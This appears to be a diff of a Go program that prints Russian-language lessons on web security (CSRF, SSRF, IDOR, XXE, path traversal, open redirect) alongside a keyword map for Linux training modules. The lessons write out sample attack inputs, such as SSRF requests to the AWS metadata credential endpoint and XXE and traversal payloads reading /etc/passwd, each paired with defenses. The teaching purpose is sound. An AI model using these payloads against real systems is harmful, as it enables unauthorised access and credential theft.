4. X-XSS-Protection заголовок (устарел)
|
||||
5. Sanitize библиотеки (DOMPurify для JS)
|
||||
|
||||
# CSP заголовок:
|
||||
Content-Security-Policy:
|
||||
default-src 'self';
|
||||
script-src 'self' 'nonce-random123';
|
||||
style-src 'self' 'unsafe-inline';
|
||||
img-src 'self' data: https:;
|
||||
connect-src 'self' https://api.example.com;
|
||||
frame-ancestors 'none'`)
|
||||
|
||||
utils.Section("CSRF — Cross-Site Request Forgery")
|
||||
utils.Code(`CSRF — выполнение действий от имени аутентифицированного пользователя.
|
||||
Браузер автоматически отправляет cookies с любым запросом.
|
||||
|
||||
Атака:
|
||||
1. Alice вошла в bank.com (cookies в браузере)
|
||||
2. Alice открывает attacker.com
|
||||
3. Страница attacker.com:
|
||||
<img src="https://bank.com/transfer?to=hacker&amount=1000">
|
||||
4. Браузер отправляет запрос с cookies Alice!
|
||||
5. Перевод выполнен.
|
||||
|
||||
Защита:
|
||||
1. CSRF-токен — уникальный токен в форме/заголовке
|
||||
<input type="hidden" name="csrf_token" value="random_token">
|
||||
Сервер проверяет токен при каждом POST
|
||||
|
||||
2. SameSite Cookie:
|
||||
Set-Cookie: session=abc; SameSite=Strict # только same-site
|
||||
Set-Cookie: session=abc; SameSite=Lax # кросс-сайт только GET
|
||||
Set-Cookie: session=abc; SameSite=None; Secure # везде (CSRF-уязвимо)
|
||||
|
||||
3. Проверка Origin/Referer заголовка
|
||||
|
||||
4. Double Submit Cookie
|
||||
|
||||
5. Custom request header (X-Requested-With: XMLHttpRequest)
|
||||
Браузеры не добавляют кастомные заголовки кросс-оригин без CORS`)
|
||||
|
||||
utils.Section("SSRF — Server-Side Request Forgery")
|
||||
utils.Code(`SSRF — сервер делает запрос к произвольному URL, указанному атакующим.
|
||||
|
||||
Атака:
|
||||
# Уязвимое API: POST /fetch {"url": "..."}
|
||||
|
||||
# Доступ к внутренним сервисам:
|
||||
{"url": "http://192.168.1.1/admin"}
|
||||
{"url": "http://localhost:8080/actuator"}
|
||||
|
||||
# AWS metadata (получить credentials):
|
||||
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
|
||||
|
||||
# Сканирование внутренней сети:
|
||||
{"url": "http://10.0.0.1:3306"}
|
||||
|
||||
Защита:
|
||||
1. Whitelist разрешённых URL/доменов
|
||||
2. Блокировать приватные IP диапазоны
|
||||
3. DNS rebinding защита
|
||||
4. Ограничить исходящие соединения (egress firewall)
|
||||
5. AWS IMDSv2 (требует токен для metadata)`)
|
||||
|
||||
utils.Section("A01 Broken Access Control — IDOR")
|
||||
utils.Code(`IDOR (Insecure Direct Object Reference) — прямые ссылки на объекты без проверки прав.
|
||||
|
||||
Атака:
|
||||
GET /api/users/1001/profile # твой профиль
|
||||
GET /api/users/1002/profile # чужой профиль (просто меняем ID!)
|
||||
GET /api/orders/5678/invoice # чужой счёт
|
||||
|
||||
Защита:
|
||||
1. Всегда проверять авторизацию к конкретному объекту
|
||||
2. Использовать GUID/UUID вместо последовательных ID
|
||||
3. Indirect Reference Map (пользователь видит только свои ID)
|
||||
4. Тестировать с разными пользователями!
|
||||
|
||||
Privilege Escalation:
|
||||
Горизонтальная — доступ к данным другого пользователя
|
||||
Вертикальная — получение прав admin
|
||||
|
||||
# Пример правильной проверки (Python):
|
||||
order = Order.get(order_id)
|
||||
if order.user_id != current_user.id:
|
||||
return 403 # Forbidden`)
|
||||
|
||||
utils.Section("Другие важные уязвимости")
|
||||
utils.Code(`XXE (XML External Entity):
|
||||
Уязвимо: парсер обрабатывает внешние сущности
|
||||
Атака:
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<root>&xxe;</root>
|
||||
Защита: отключить XXE в парсере, использовать JSON
|
||||
|
||||
Path Traversal:
|
||||
Атака: GET /download?file=../../../../etc/passwd
|
||||
Защита: realpath + проверка что путь внутри разрешённой директории
|
||||
|
||||
Insecure Deserialization:
|
||||
Атака: подделать сериализованный объект → RCE
|
||||
Защита: не десериализовать непроверенные данные, подписывать объекты
|
||||
|
||||
Open Redirect:
|
||||
Атака: /redirect?to=https://evil.com
|
||||
Защита: whitelist разрешённых доменов для редиректа
|
||||
|
||||
Security Headers (важные HTTP заголовки):
|
||||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||||
Content-Security-Policy: default-src 'self'
|
||||
X-Frame-Options: DENY
|
||||
X-Content-Type-Options: nosniff
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Permissions-Policy: camera=(), microphone=()`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
|
|
@ -67,3 +67,32 @@ func ListModules() {
|
|||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
// Keywords возвращает ключевые слова для поиска по модулю
|
||||
func Keywords(key string) []string {
|
||||
kw := map[string][]string{
|
||||
"intro": {"операционная система", "GNU", "Linux", "дистрибутив", "FHS", "файловая система", "терминал", "shell", "bash", "история"},
|
||||
"files": {"файлы", "директории", "ls", "cp", "mv", "rm", "mkdir", "ln", "symlink", "жёсткая ссылка", "grep", "find", "cat", "head", "tail", "nano", "vim", "vi", "less", "chmod"},
|
||||
"streams": {"stdin", "stdout", "stderr", "pipe", "перенаправление", "redirect", "tee", "xargs", "dev/null", "конвейер"},
|
||||
"bash": {"bash", "alias", "history", "переменные", "PATH", "HOME", "bashrc", "completion", "type", "which", "окружение", "environment"},
|
||||
"processes": {"процессы", "ps", "top", "htop", "kill", "signals", "сигналы", "PID", "nice", "renice", "jobs", "bg", "fg", "nohup", "watch"},
|
||||
"users": {"пользователи", "группы", "sudo", "su", "chmod", "chown", "права", "permissions", "useradd", "usermod", "passwd", "visudo", "sudoers", "SUID", "SGID", "umask"},
|
||||
"kernel": {"ядро", "kernel", "uname", "dmesg", "модули", "modules", "lsmod", "modprobe", "sysctl", "lscpu", "lspci"},
|
||||
"disks": {"диски", "разделы", "fdisk", "parted", "mkfs", "mount", "fstab", "LVM", "RAID", "mdadm", "ext4", "xfs", "swap", "blkid", "df", "du"},
|
||||
"scripts": {"скрипты", "bash scripting", "if", "for", "while", "функции", "массивы", "getopts", "trap", "set -e", "shebang"},
|
||||
"boot": {"загрузка", "GRUB", "systemd", "systemctl", "journalctl", "сервисы", "юниты", "units", "target", "timer", "boot"},
|
||||
"logs": {"логи", "логирование", "rsyslog", "syslog", "logrotate", "cron", "crontab", "at", "journald", "var/log"},
|
||||
"backup": {"бэкап", "резервное копирование", "tar", "rsync", "инкрементальный", "VDO", "дедупликация"},
|
||||
"network": {"сеть", "сети", "ip", "ifconfig", "ss", "netstat", "nmcli", "SSH", "ключи", "авторизация", "firewall", "ping", "traceroute", "curl", "wget", "порты"},
|
||||
"security": {"безопасность", "SELinux", "firewalld", "firewall-cmd", "восстановление", "semanage", "chcon", "restorecon", "audit"},
|
||||
"packages": {"пакеты", "dnf", "apt", "rpm", "dpkg", "репозиторий", "установка", "snap", "flatpak", "yum"},
|
||||
"performance": {"производительность", "swap", "память", "RAM", "OOM", "планировщик", "nice", "tuned", "Stratis", "swappiness"},
|
||||
"sysconfig": {"RHEL", "hostname", "время", "NTP", "chrony", "часовой пояс", "timedatectl", "localectl", "subscription-manager"},
|
||||
"netfs": {"NFS", "SMB", "Samba", "CIFS", "autofs", "монтирование", "сетевые диски", "IPv6", "rsync", "SCP", "SFTP"},
|
||||
"tools": {"Cockpit", "glob", "регулярные выражения", "regex", "grep", "sed", "awk", "глоббинг", "веб-интерфейс"},
|
||||
}
|
||||
if v, ok := kw[key]; ok {
|
||||
return v
|
||||
}
|
||||
return []string{}
|
||||
}
|
||||
|
|
|
|||
BIN
rubric
BIN
rubric
Binary file not shown.
Loading…
Add table
Reference in a new issue